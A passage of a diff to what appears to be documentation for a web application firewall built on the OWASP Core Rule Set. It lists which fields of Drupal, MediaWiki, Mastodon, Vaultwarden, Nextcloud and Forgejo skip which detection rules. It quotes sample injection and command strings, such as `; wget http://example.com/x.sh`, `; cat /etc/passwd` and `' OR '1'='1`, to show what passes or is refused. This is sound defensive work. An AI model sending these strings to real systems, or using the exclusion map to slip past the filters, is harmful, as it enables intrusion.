`authAction` names the form that sends them. The - page's name does not count, because a wiki in another language posts - these forms to its own names, such as `Spezial:Benutzerkonto_anlegen`. - The page's title must have a namespace, such as `Special:`. The title - follows `/index.php/` or `/wiki/` in the path, or is the `title` of - `/index.php`. +- The other passwords, for the same rules: + - `pass[pass1]`, `pass[pass2]` and `current_pass` on `/user/register`, + `/user//edit` and `/admin/people/create`; + - `pass.value`, `pass.0.value` and `pass.0.existing` in the JSON body of + `/user/register` and `/user/`; + - `data.attributes.pass.value` and `data.attributes.pass.existing` in the + JSON:API body of `/jsonapi/user/user` and each user under it. - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies when the query has a parameter of the same name. + Each field listed skips these rules on every path listed, not only on the + paths given for it. - The names of uploaded files skip 932180 on MediaWiki's pages and on - `/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded. - MediaWiki refuses a file whose extension it does not allow. +- `name` when resetting a password through Drupal's JSON format on + `/user/password`, for the same four rules. +- `mail` in that same reset, for 932120 and 932260 only. +- `name` when signing up, editing an account and commenting without an account, + for the same four rules. +- `mail` on those forms, for 930120, 932120 and 932260 only. - `/index.php` itself counts as MediaWiki's only when its query has a `title`, - as in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A - wiki without short URLs serves its pages under `/index.php/`, as in - `/index.php/Main_Page`, and its sign-in and upload forms post there. +These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies +when the query has a parameter of the same name. - Elsewhere these fields keep every rule. The paths are those of MediaWiki at - the site root or under `/w/`. An app other than MediaWiki that serves one of - them must check these fields itself. +Elsewhere these fields keep every rule. The paths are those of Drupal at the +site root, with or without a language prefix such as `/fr`. Such a prefix is any +first path segment of two or three lowercase letters, optionally followed by a +hyphen and more letters, so `/api` counts too. -12. On Mastodon's paths, some fields skip the rules that refused ordinary - Mastodon requests there. `internal/coreruleset/mastodon.conf` lists each - rule and the request it refused. These fields skip the lists of system files - and command names (930120, 932120, 932250, 932260), in the query: - - On the API's search, accounts and admin accounts, under `/api/v1/` and - `/api/v2/`, the searches and names `q`, `acct`, `username`, - `display_name`, `email` and `by_domain`. - - On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and - `/admin/tags`, the searches `username`, `display_name`, `email`, - `by_domain`, `shortcode` and `name`. - - `q` on `/search`, the web app's search page. +MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused +ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists +each rule and the request it refused. These fields skip the lists of system +files and command names (930120, 932120, 932250, 932260), in the query or the +body: - These fields of a body skip the same four rules: - - On these API resources, under `/api/v1/` or `/api/v2/`, and the paths - under them: - - `statuses`, `media` and `reports`; - - `accounts` and `profile`; - - `lists`, `filters` and `featured_tags`; - - the admin API's `accounts`, `domain_blocks` and `ip_blocks`. - - On those resources, these fields: - - `spoiler_text` and `poll[options][]`, for posting; - - `description`, of an uploaded file; - - `display_name`, `note` and the names and values of - `fields_attributes`, for a profile; - - `title`, `keyword`, the keywords of `keywords_attributes` and `name`, - for lists, filters and hashtags; - - `comment`, `text`, `private_comment` and `public_comment`, for - reports, notes, warnings and blocks; - - in JSON, as the web app sends them: - - `spoiler_text`, `title` and the options of `poll`; - - `description`, and the descriptions in `media_attributes`; - - `display_name`, `note` and the names and values of - `fields_attributes`; - - `comment`. - - On these admin pages, and the paths under them: - - `/admin/domain_blocks`, `/admin/ip_blocks` and `/admin/rules`; - - `/admin/announcements` and `/admin/settings`; - - `/admin/accounts//action`; - - `/admin/report_notes` and `/admin/account_moderation_notes`; - - `/admin/warning_presets` and `/admin/roles`; - - `/admin/terms_of_service`. - - On those pages, these fields: - - `domain_block[private_comment]` and `domain_block[public_comment]`; - - `ip_block[comment]`; - - `rule[text]` and `rule[hint]`; - - `announcement[text]`; - - `form_admin_settings[site_title]`, - `form_admin_settings[site_short_description]` and - `form_admin_settings[site_extended_description]`; - - `admin_account_action[text]`, a warning to an account; - - `report_note[content]` and `account_moderation_note[content]`; - - `account_warning_preset[title]` and `account_warning_preset[text]`; - - `user_role[name]`; - - `terms_of_service[text]` and `terms_of_service[changelog]`. - - On these settings and sign-in pages, and the paths under them: - - `/filters`; - - `/settings/applications` and `/settings/aliases`; - - `/settings/migration` and `/settings/delete`; - - `/auth`. - - On those pages, these fields: - - `custom_filter[title]` and its keywords; - - `doorkeeper_application[name]` and `doorkeeper_application[website]`; - - `account_alias[acct]` and `account_migration[acct]`; - - `user[password]`, `user[password_confirmation]` and - `user[current_password]`; - - `user[invite_request_attributes][text]`, why someone asks to sign up; - - `account_migration[current_password]`, - `form_redirect[current_password]` and - `form_delete_confirmation[password]`, for moving or deleting an - account. - - On `/api/v1/accounts`, signing up through the API, `password` and - `reason`, in form data or JSON. - - On `/inbox`, `/users//inbox` and `/ap/users//inbox`, the fields - of the object another server delivers in JSON: - - `content` and `contentMap`, a post; - - `summary` and `summaryMap`, a content warning or a profile's text; - - `name`, a profile's name; - - the names and values of `attachment`, a picture's description or a - profile's fields; - - the names of `oneOf` and `anyOf`, a poll's options. - - A post's text, `status` in form data or JSON on `/api/v1/statuses` and the - paths under it. It skips 932125, 932230 and 932235 too, so a post can show - commands in code. A shell command such as `; wget http://example.com/x.sh` - reaches Mastodon there. +- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/` + and `/wiki/`: + - the searches `search` and `ilsearch`; + - the titles `title`, `page` and `target`; + - `from`, `to` and `prefix`, which limit a list of pages; + - the user names `user`, `username` and `wpTarget`; + - the file names `filename` and `wpDestFile`; + - `returnto` and `returntoquery`, the page and query to go back to after + signing in. +- On `/api.php`: + - the searches `search`, `srsearch` and `pssearch`; + - the titles `titles`, `title`, `page` and `bltitle`; + - `from` and `to`, the titles of a page being moved; + - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`, + `aufrom` and `auprefix`; + - `letitle`, the page whose log is listed; + - `euquery`, an address; + - the fields a generator sends in place of the fields above, each with a `g` + in front: + - `gsrsearch` and `gpssearch`; + - `gapfrom`, `gapto` and `gapprefix`; + - `gaifrom` and `gaiprefix`; + - `gbltitle`; + - `geuquery`; + - the user names `ucuser`, `bkusers` and `user`; + - `summary`, `sectiontitle`, `filename`, `comment` and `reason`; + - `lgname`, `lgpassword`, `username` and `password`, for signing in. +- `q` on `/rest.php/` and the paths under it. - Two fields of a body skip only 932120 and 932260. A hashtag or a username - holds only letters, digits and underscores, so the other two rules do not - misfire there: - - `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features - on a profile; - - `user[account_attributes][username]` on `/auth`, the sign-up form's - username. +`modules` on `/load.php` skips 930120 alone, because it lists the scripts and +styles a page loads. - `user[email]` on `/auth` and the paths under it skips 930120, 932120 - and 932260. The sign-up, sign-in, password reset and account settings forms - send an email address there, such as `python3@example.com`. An address holds - no spaces, so it keeps 932250. +These fields of a body skip the rules that refused them: - On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip - 930120 by their names. A report forwarded to another server lists that - server in `forward_to_domains`. In the Core Rule Set the keys are named: - - `json.forward`; - - `json.forward_to_domains`; - - `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one - per server. - - Each name contains `.forward`, a file in a home folder. So 930120 refused - every report the web app sent. The keys' values keep every rule. - - The passwords in a body: - - on `/auth`, `/settings/migration` and `/settings/delete`, and the paths - under them: - - `user[password]`, `user[password_confirmation]` and - `user[current_password]`; - - `account_migration[current_password]` and - `form_redirect[current_password]`; - - `form_delete_confirmation[password]`; - - `form_challenge[current_password]`, which asks for the password again, on - `/auth/challenge`, `/settings/two_factor_authentication` and - `/settings/two_factor_authentication_methods`, and the paths under them; - - `password` on `/api/v1/accounts`, in form data or JSON. +- On MediaWiki's pages, for the same four rules: + - `wpSummary`, the summary of an edit; + - `wpUploadDescription`, the description of an uploaded file; + - `wpName` and `wpPassword`, for signing in; + - `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page. +- `comment` in the JSON body of `/rest.php/`, for the same four rules. +- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin + pages: + - `wpReason-other`, for blocking a user; + - `user-reason`, for changing a user's groups; + - `mwProtect-reason`, for protecting a page. +- On MediaWiki's pages, `wpTitles`, the list of watched pages that + `Special:EditWatchlist/raw` sends, one title per line. It always skips 930120, + 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only + when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a + command name, such as `Python3 notes`, passes. So does a command alone on a + line, such as `wget http://example.com/x.sh`. A command such as + `; wget http://example.com/x.sh` is still refused. So is a list that mixes a + title holding one of these characters with a title starting with a command + name. +- The wikitext of a page, which holds templates, tables and any code it shows: + - `wpTextbox1` on MediaWiki's pages; + - `text`, `appendtext` and `prependtext` on `/api.php`; + - `source` in the JSON body of `/rest.php/`. +- The passwords when signing in, signing up and changing a password: + - `wpPassword` on MediaWiki's pages; + - `password` and `retype` in the form that changes a password, which sends + `authAction=change`; + - `retype` in the form that creates an account, which sends + `authAction=create`; + - `retype` in the form that sets a new password at sign-in after a password + reset or once the old one expired, which sends + `authAction=login-continue`; + - `lgpassword`, `password` and `retype` on `/api.php`. They skip each rule that random passwords set off: @@ -1340,292 +1197,465 @@ The changes hold in front of every app, and no setting undoes them: 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. - Each field in the first two items skips these rules on every path in those - items. - `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and - `` sent as a password reach Mastodon; + `` sent as a password reach MediaWiki; `` and `javascript:alert(1)` are still refused. - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies when the query has a parameter of the same name. + Other apps use `password` and `retype` too. So those two fields skip these + rules only when `authAction` names the form that sends them. The page's name + does not count, because a wiki in another language posts these forms to its + own names, such as `Spezial:Benutzerkonto_anlegen`. The page's title must + have a namespace, such as `Special:`. The title follows `/index.php/` or + `/wiki/` in the path, or is the `title` of `/index.php`. - The names of uploaded files skip 932180 on these paths: - - `/api/v1/media` and `/api/v2/media`; - - `/api/v1/accounts/update_credentials` and `/api/v1/profile`. +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies when the query has a parameter of the same name. - So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a - file of a type it does not allow. +The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`, +so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a +file whose extension it does not allow. - The `Accept` header skips 920600 on links to profiles and posts, such as - `/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on - the paths under `/users/` and `/ap/users/` too. When someone on another - server looks up such a link, that server fetches it with this header: - `Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`. - It sends the same header to the account or post the link leads to. +`/index.php` itself counts as MediaWiki's only when its query has a `title`, as +in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki +without short URLs serves its pages under `/index.php/`, as in +`/index.php/Main_Page`, and its sign-in and upload forms post there. - Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own - resources under them count as Mastodon's paths. Elsewhere these fields keep - every rule. An app other than Mastodon that serves one of these paths must - check these fields itself. +Elsewhere these fields keep every rule. The paths are those of MediaWiki at the +site root or under `/w/`. -13. On Vaultwarden's paths, some fields skip the rules that refused ordinary - Vaultwarden requests there. `internal/coreruleset/vaultwarden.conf` lists - each rule and the request it refused. The apps encrypt vault items, folders, - collections and sends before sending them, so those fields skip no rules. - The fields below hold plain text. +Mastodon's fixes: on Mastodon's paths, some fields skip the rules that refused +ordinary Mastodon requests there. `internal/coreruleset/mastodon.conf` lists +each rule and the request it refused. These fields skip the lists of system +files and command names (930120, 932120, 932250, 932260), in the query: - Names and password hints skip the lists of system files and command names - (930120, 932120, 932250, 932260): - - `name`, the name of the account, an organization, a group or a security - key; - - `masterPasswordHint`, when signing up or changing the master password; - - `invitation_org_name` and `smtp_from_name`, on the admin page's settings. +- On the API's search, accounts and admin accounts, under `/api/v1/` and + `/api/v2/`, the searches and names `q`, `acct`, `username`, `display_name`, + `email` and `by_domain`. +- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and + `/admin/tags`, the searches `username`, `display_name`, `email`, `by_domain`, + `shortcode` and `name`. +- `q` on `/search`, the web app's search page. - These fields hold email addresses and skip 930120, 932120 and 932260: - - `username`, when signing in at `/identity/connect/token`; - - `email`, `newEmail`, `billingEmail` and the invited `emails`; - - the salt fields, such as `masterPasswordUnlock.salt`, which hold the - address; - - `accountUnlockData.masterPasswordUnlockData.email`, when rotating the - account's encryption key; - - `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's - settings. +These fields of a body skip the same four rules: - So `python3@example.com` and `powershell@example.com` pass. +- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths under + them: + - `statuses`, `media` and `reports`; + - `accounts` and `profile`; + - `lists`, `filters` and `featured_tags`; + - the admin API's `accounts`, `domain_blocks` and `ip_blocks`. +- On those resources, these fields: + - `spoiler_text` and `poll[options][]`, for posting; + - `description`, of an uploaded file; + - `display_name`, `note` and the names and values of `fields_attributes`, + for a profile; + - `title`, `keyword`, the keywords of `keywords_attributes` and `name`, for + lists, filters and hashtags; + - `comment`, `text`, `private_comment` and `public_comment`, for reports, + notes, warnings and blocks; + - in JSON, as the web app sends them: + - `spoiler_text`, `title` and the options of `poll`; + - `description`, and the descriptions in `media_attributes`; + - `display_name`, `note` and the names and values of + `fields_attributes`; + - `comment`. +- On these admin pages, and the paths under them: + - `/admin/domain_blocks`, `/admin/ip_blocks` and `/admin/rules`; + - `/admin/announcements` and `/admin/settings`; + - `/admin/accounts//action`; + - `/admin/report_notes` and `/admin/account_moderation_notes`; + - `/admin/warning_presets` and `/admin/roles`; + - `/admin/terms_of_service`. +- On those pages, these fields: + - `domain_block[private_comment]` and `domain_block[public_comment]`; + - `ip_block[comment]`; + - `rule[text]` and `rule[hint]`; + - `announcement[text]`; + - `form_admin_settings[site_title]`, + `form_admin_settings[site_short_description]` and + `form_admin_settings[site_extended_description]`; + - `admin_account_action[text]`, a warning to an account; + - `report_note[content]` and `account_moderation_note[content]`; + - `account_warning_preset[title]` and `account_warning_preset[text]`; + - `user_role[name]`; + - `terms_of_service[text]` and `terms_of_service[changelog]`. +- On these settings and sign-in pages, and the paths under them: + - `/filters`; + - `/settings/applications` and `/settings/aliases`; + - `/settings/migration` and `/settings/delete`; + - `/auth`. +- On those pages, these fields: + - `custom_filter[title]` and its keywords; + - `doorkeeper_application[name]` and `doorkeeper_application[website]`; + - `account_alias[acct]` and `account_migration[acct]`; + - `user[password]`, `user[password_confirmation]` and + `user[current_password]`; + - `user[invite_request_attributes][text]`, why someone asks to sign up; + - `account_migration[current_password]`, `form_redirect[current_password]` + and `form_delete_confirmation[password]`, for moving or deleting an + account. +- On `/api/v1/accounts`, signing up through the API, `password` and `reason`, in + form data or JSON. +- On `/inbox`, `/users//inbox` and `/ap/users//inbox`, the fields of + the object another server delivers in JSON: + - `content` and `contentMap`, a post; + - `summary` and `summaryMap`, a content warning or a profile's text; + - `name`, a profile's name; + - the names and values of `attachment`, a picture's description or a + profile's fields; + - the names of `oneOf` and `anyOf`, a poll's options. +- A post's text, `status` in form data or JSON on `/api/v1/statuses` and the + paths under it. It skips 932125, 932230 and 932235 too, so a post can show + commands in code. A shell command such as `; wget http://example.com/x.sh` + reaches Mastodon there. - These fields skip the rules on these paths: - - the paths under `/identity/accounts/`; - - `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and - the paths under them; - - `/admin/config`. +Two fields of a body skip only 932120 and 932260. A hashtag or a username holds +only letters, digits and underscores, so the other two rules do not misfire +there: - Names and password hints skip them on `/api/two-factor/webauthn` too, where - a security key gets its name. +- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features on a + profile; +- `user[account_attributes][username]` on `/auth`, the sign-up form's username. - The addresses skip them on these paths too: - - `/identity/connect/token` and `/admin/invite`; - - `/admin/test/smtp`, where the admin page sends a test email; - - the paths under `/api/two-factor/`, where sign-in codes by email are set - up and sent; - - `/api/auth-requests` and the paths under it, for signing in with another - device. +`user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260. +The sign-up, sign-in, password reset and account settings forms send an email +address there, such as `python3@example.com`. An address holds no spaces, so it +keeps 932250. - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies when the query has a parameter of the same name. +On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip +930120 by their names. A report forwarded to another server lists that server in +`forward_to_domains`. In the Core Rule Set the keys are named: - `username` in the query of `/api/hibp/breach`, the data breach report, skips - 930120, 932120 and 932260 too. +- `json.forward`; +- `json.forward_to_domains`; +- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one per + server. - `token` in the body of `/admin`, the admin token typed on the admin page, - skips each rule that random passwords set off. The numbers are in - `internal/coreruleset/vaultwarden.conf`. It applies only when the query has - no `token` parameter. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` - and `` sent as the token reach Vaultwarden; - `` and `javascript:alert(1)` are still refused. +Each name contains `.forward`, a file in a home folder. So 930120 refused every +report the web app sent. The keys' values keep every rule. - The apps hash the master password before sending it. So `password` on - `/identity/connect/token`, `masterPasswordHash` and `newMasterPasswordHash` - hold only base64 and need no exclusion. +The passwords in a body: - The names of uploaded files skip 920120 on the paths that take attachments - and file sends: - - `/api/ciphers//attachment` and the paths under it; - - `/api/ciphers//attachment-admin`; - - `/api/sends//file/`. +- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths under + them: + - `user[password]`, `user[password_confirmation]` and + `user[current_password]`; + - `account_migration[current_password]` and + `form_redirect[current_password]`; + - `form_delete_confirmation[password]`; +- `form_challenge[current_password]`, which asks for the password again, on + `/auth/challenge`, `/settings/two_factor_authentication` and + `/settings/two_factor_authentication_methods`, and the paths under them; +- `password` on `/api/v1/accounts`, in form data or JSON. - The apps name such a file by its encrypted name, which holds `=`. Path - traversal and PHP scripts in the names are still refused. +They skip each rule that random passwords set off: - Elsewhere these fields keep every rule. An app other than Vaultwarden that - serves one of these paths must check these fields itself. +920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, 932230, +932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, 933100, 933135, +933180, 933210, 941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230, +942290, 942320, 942540, 942550, 944150. -14. On Nextcloud's paths, some fields skip the rules that refused ordinary - Nextcloud requests there, and its WebDAV methods are allowed. - `internal/coreruleset/nextcloud.conf` lists each rule and the request it - refused. +Each field in the first two items skips these rules on every path in those +items. - The sync client and the Files app use WebDAV on these paths: - - `/remote.php/dav/`; - - `/public.php/dav/`; - - `/remote.php/webdav/`; - - `/public.php/webdav/`. +`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and +`` sent as a password reach Mastodon; +`` and `javascript:alert(1)` are still refused. - These methods are allowed there, besides those of the first change: - - `PROPFIND` and `PROPPATCH`; - - `MKCOL`; - - `COPY` and `MOVE`; - - `REPORT` and `SEARCH`; - - `LOCK` and `UNLOCK`, with which the desktop client locks a file. +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies when the query has a parameter of the same name. - A file the Files app or the sync client uploads with `PUT` to these paths is - a file, not form data. The Core Rule Set does not read the body of a `PUT` - there. So a JSON file holding `python3 -m pytest` uploads, and so does an - XML file holding `ls -la /var/log`. The headers, path and query of the `PUT` - are still checked. +The names of uploaded files skip 932180 on these paths: - The cookie `nc_username` holds the name of the account signed in. It skips - the lists of system files and command names (930120, 932120, 932250, 932260) - on every path, since every request sends it. +- `/api/v1/media` and `/api/v2/media`; +- `/api/v1/accounts/update_credentials` and `/api/v1/profile`. - These fields skip the same four rules, in the query or the body: - - On `/login`, for signing in: - - `user` and `password`; - - `redirect_url`, the page to go to after signing in. - - `dir`, the folder shown, on the paths under `/apps/files/`. - - The file names on a public share: - - `file` on the paths under `/apps/files_sharing/publicpreview/`; - - `path` and `files` on `/s//download`. - - On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`: - - the searches `search` and `term`, and `from`, the page searched from; - - the names `groupid`, `userid`, `displayName` and `groups[]`; - - `value`, a new value of an account's details; - - `path`, `label` and `shareWith`, for a share. +So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a +file of a type it does not allow. - These fields of a JSON body skip the same four rules: - - On the OCS API, each field of the list above. - - `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in - the theming settings. - - `filePath` on `/apps/text/session//save`, the document the editor - saves. - - `name` on `/remote.php/dav/systemtags/`, a new tag. +The `Accept` header skips 920600 on links to profiles and posts, such as +`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on the +paths under `/users/` and `/ap/users/` too. When someone on another server looks +up such a link, that server fetches it with this header: +`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`. +It sends the same header to the account or post the link leads to. - `password` in the body of `/login`, the password when signing in, skips each - rule that random passwords set off: +Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own +resources under them count as Mastodon's paths. Elsewhere these fields keep +every rule. - 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, - 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, - 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, - 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. +Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that +refused ordinary Vaultwarden requests there. +`internal/coreruleset/vaultwarden.conf` lists each rule and the request it +refused. The apps encrypt vault items, folders, collections and sends before +sending them, so those fields skip no rules. The fields below hold plain text. - It applies only when the query has no `password` parameter. `' OR '1'='1`, - `../../etc/passwd`, `; cat /etc/passwd` and `` sent - as the password reach Nextcloud; `` and - `javascript:alert(1)` are still refused. +Names and password hints skip the lists of system files and command names +(930120, 932120, 932250, 932260): - The other passwords skip the same rules, in form data or JSON. None applies - when the query has a parameter of the same name. - - `password` on `/login/confirm`, `/lostpassword/set//`, - `/settings/users/changepassword` and a public share's - `/s//authenticate/`. - - `oldpassword` and `newpassword` on `/settings/personal/changepassword`. - - `recoveryPassword` on `/settings/users/changepassword`. - - `oldPassword` and `newPassword` on `/apps/user_ldap/renewpassword`, which - changes an expired password, and on - `/apps/encryption/ajax/updatePrivateKeyPassword`. - - `oldPassword`, `newPassword` and `confirmPassword` on - `/apps/encryption/ajax/changeRecoveryPassword`. - - `recoveryPassword` and `confirmPassword` on - `/apps/encryption/ajax/adminRecovery`. - - `password` on the OCS API's `person/check`, which checks a sign-in, and - `core/apppassword/confirm`, which confirms the password. - - `password` on the OCS API's `cloud/users` and the share API's - `apps/files_sharing/api/v1/shares`, each user or share under them, and a - share's `send-email`. - - `value` on the OCS API's `cloud/users/` when the body's `key` is - `password`. A body with more than one `key`, or a `key` or `value` in the - query, gets none of this. +- `name`, the name of the account, an organization, a group or a security key; +- `masterPasswordHint`, when signing up or changing the master password; +- `invitation_org_name` and `smtp_from_name`, on the admin page's settings. - Each field listed but `value` skips these rules on every path listed, not - only on the paths given for it. +These fields hold email addresses and skip 930120, 932120 and 932260: - `password` on `/login/flow/apptoken` and `/login/v2/apptoken` holds a - generated app token, so it needs no exclusion. +- `username`, when signing in at `/identity/connect/token`; +- `email`, `newEmail`, `billingEmail` and the invited `emails`; +- the salt fields, such as `masterPasswordUnlock.salt`, which hold the address; +- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the + account's encryption key; +- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's + settings. - Some fields hold sentences a person writes: - - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS - API and on each share under it; - - `message`, an account's status, on - `apps/user_status/api/v1/user_status/message/custom` of the OCS API; - - `message` in the JSON body that posts a comment to - `/remote.php/dav/comments/files/`; - - the XML body of a `PROPPATCH` that edits a comment; - - `autosaveContent` on `/apps/text/session//save`, the text of a - document. +So `python3@example.com` and `powershell@example.com` pass. - These fields skip the same four rules. They also skip the rules that refused - ordinary sentences there, such as `It is fixed; diff attached` (932125, - 932230, 932235, 932380). A share's note and a status skip them in the query - or the body. A document's text skips two more, which refused a shell script - in a code block (932160, 932370). So a shell command such as - `; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL - injection, path traversal and script injection are still refused there. +These fields skip the rules on these paths: - The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, - skips the four rules. +- the paths under `/identity/accounts/`; +- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and the + paths under them; +- `/admin/config`. - The Calendar and Contacts apps, and CalDAV and CardDAV clients, use these - paths: - - `/remote.php/dav/calendars/`, which holds the calendars; - - `/remote.php/dav/addressbooks/`, which holds the address books. +Names and password hints skip them on `/api/two-factor/webauthn` too, where a +security key gets its name. - There: - - `MKCALENDAR`, with which a CalDAV client makes a calendar, is allowed on - the calendars' paths only. - - The XML body of an `MKCOL` names a new calendar or address book. A new - address book's body may also hold its description. The body skips the four - rules. On the address books' paths, it also skips two rules that refused a - description such as `Powershell and python3 contacts; ls -la first` - (932125, 932230). - - The XML body of an `MKCALENDAR` holds the new calendar's name and - description. It skips the four rules, and two rules that refused a - description such as `Powershell and python3 meetings; ls -la first` - (932125, 932230). - - The body of a `PUT` of an event or a contact is not read, as for any `PUT` - on the WebDAV paths. So the Core Rule Set does not check an event's title, - location or description, or a contact's names. - - The Calendar and Contacts apps name the charset twice in the - `Content-Type` of the `PUT` that changes an event or a contact. A `PUT` - typed `text/calendar` or `text/vcard` skips 920530, the rule against two - charsets. +The addresses skip them on these paths too: - A CalDAV or CardDAV client finds these paths with a `PROPFIND` on - `/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on - those two paths. +- `/identity/connect/token` and `/admin/invite`; +- `/admin/test/smtp`, where the admin page sends a test email; +- the paths under `/api/two-factor/`, where sign-in codes by email are set up + and sent; +- `/api/auth-requests` and the paths under it, for signing in with another + device. - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies to a JSON field when the query has a parameter of that name, such as - `json.message`. Nextcloud's pages are matched at the site root and under - `/index.php/`. Elsewhere these fields keep every rule. An app other than - Nextcloud that serves one of these paths must check these fields itself. +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies when the query has a parameter of the same name. -15. On Forgejo's paths, `q` on some of its searches skips the rules that refused - ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth - change applies to its requests too. This change holds only what Forgejo - sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each - rule and the search it refused. The searches are: - - the search of a wiki, on `///wiki/search`; - - the search of a repository's releases, on `///releases` and - `/api/v1/repos///releases`; - - the search of a job's log, on - `/api/v1/repos///actions/jobs//logs`. +`username` in the query of `/api/hibp/breach`, the data breach report, skips +930120, 932120 and 932260 too. - There `q` skips these rules: - - system files (930120), such as `.htaccess`; - - Windows commands (932120), such as `powershell`; - - shell paths (932160), such as `/bin/sh`, except on the search of a job's - log; - - Unix commands (932250), such as `ls -la`; - - command names (932260), such as `python3`. +`token` in the body of `/admin`, the admin token typed on the admin page, skips +each rule that random passwords set off. The numbers are in +`internal/coreruleset/vaultwarden.conf`. It applies only when the query has no +`token` parameter. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and +`` sent as the token reach Vaultwarden; +`` and `javascript:alert(1)` are still refused. - `; wget http://example.com/x.sh`, path traversal, and SQL and script - injection are still refused there. +The apps hash the master password before sending it. So `password` on +`/identity/connect/token`, `masterPasswordHash` and `newMasterPasswordHash` hold +only base64 and need no exclusion. - The search of a repository's code at a branch or a tag is on - `///search/branch/` and - `///search/tag/`. The search box on a repository's home - page sends its search there when Forgejo has no code indexer, as by default. - There `q` skips the rules it skips on gitea's search of code in the eighth - change. So code, such as `` and +`javascript:alert(1)` are still refused. + +The other passwords skip the same rules, in form data or JSON. None applies when +the query has a parameter of the same name. + +- `password` on `/login/confirm`, `/lostpassword/set//`, + `/settings/users/changepassword` and a public share's + `/s//authenticate/`. +- `oldpassword` and `newpassword` on `/settings/personal/changepassword`. +- `recoveryPassword` on `/settings/users/changepassword`. +- `oldPassword` and `newPassword` on `/apps/user_ldap/renewpassword`, which + changes an expired password, and on + `/apps/encryption/ajax/updatePrivateKeyPassword`. +- `oldPassword`, `newPassword` and `confirmPassword` on + `/apps/encryption/ajax/changeRecoveryPassword`. +- `recoveryPassword` and `confirmPassword` on + `/apps/encryption/ajax/adminRecovery`. +- `password` on the OCS API's `person/check`, which checks a sign-in, and + `core/apppassword/confirm`, which confirms the password. +- `password` on the OCS API's `cloud/users` and the share API's + `apps/files_sharing/api/v1/shares`, each user or share under them, and a + share's `send-email`. +- `value` on the OCS API's `cloud/users/` when the body's `key` is + `password`. A body with more than one `key`, or a `key` or `value` in the + query, gets none of this. + +Each field listed but `value` skips these rules on every path listed, not only +on the paths given for it. + +`password` on `/login/flow/apptoken` and `/login/v2/apptoken` holds a generated +app token, so it needs no exclusion. + +Some fields hold sentences a person writes: + +- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API + and on each share under it; +- `message`, an account's status, on + `apps/user_status/api/v1/user_status/message/custom` of the OCS API; +- `message` in the JSON body that posts a comment to + `/remote.php/dav/comments/files/`; +- the XML body of a `PROPPATCH` that edits a comment; +- `autosaveContent` on `/apps/text/session//save`, the text of a document. + +These fields skip the same four rules. They also skip the rules that refused +ordinary sentences there, such as `It is fixed; diff attached` (932125, 932230, +932235, 932380). A share's note and a status skip them in the query or the body. +A document's text skips two more, 